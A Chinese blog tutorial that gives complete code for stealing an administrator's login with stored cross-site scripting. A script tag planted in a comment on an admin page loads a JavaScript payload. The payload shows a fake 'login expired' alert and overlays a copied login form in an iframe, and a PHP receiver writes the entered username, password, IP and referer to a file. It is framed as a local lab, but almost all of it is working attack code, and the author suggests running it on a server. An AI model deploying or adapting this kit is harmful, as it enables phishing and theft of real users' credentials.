xss获取管理员的用户密码(本地实战)

 更上一层楼!!!

环境准备

phpstudy

实战

phpstudy指定localhost目录下编写如下文件:

admin_login.html  //原管理登录页面
admin_index.html  //原管理后台页面
fish.html         //我们高仿的登录页面,也就是钓鱼页
get.php           //数据接收文件
xss.js            //xss的payload

代码量比较少,就此复制粘贴即可

admin_login.html

//admin_login.html  原管理登录页面
<html>
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://xxx/x.php">
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="登录">
</form> 
</body>
</html>

admin_index.html

//admin_index.html  原管理后台页面
<html>
<body>
<head><title>管理员后台</title></head>
<h1>这里是管理员后台,你已成功登录</h1>
<button type="button">一键日卫星</button>
<hr><b>最新留言</b>
<ul>
<li>说书人长得好帅</li>
<li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
</ul>
</body>
</html>

fish.html

//fish.html  我们仿的登录页面,也就是钓鱼页
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="Submit">
</form> 
</body>
</html>

get.php

//get.php  数据接收文件
<?php
$line = '----------------------------------'."\r\n";
$user = '账号:'.$_POST['username']."\r\n";
$pwd = '密码:'.$_POST['password']."\r\n";
$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";
$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";
$date ='日期:'. date("Y-m-d")."\r\n";
$result = $line.$url.$user.$pwd.$ip.$date;
file_put_contents('good.txt',$result, FILE_APPEND);
header("Location: http://127.0.0.1/admin_index.html");
?>

xss.js

//xss.js  xss的payload
setTimeout(function() {
    alert("登陆过期,请重新登陆!");
    parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src = \"127.0.0.1/fish.html\" frameBorder=0 scrolling=no></iframe>");
    setTimeout(function() {
        document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
    },
    100);
    setTimeout(function() {
        parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
    },
    100);
},
600000);

进入网页admin_login.html进行实战

实战完成后,在编写的所有文件目录下查找good.txt,上面记录的管理员的账户密码。实战结束

留言

有服务器的可以在服务器上实战。祝你们学习顺利!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值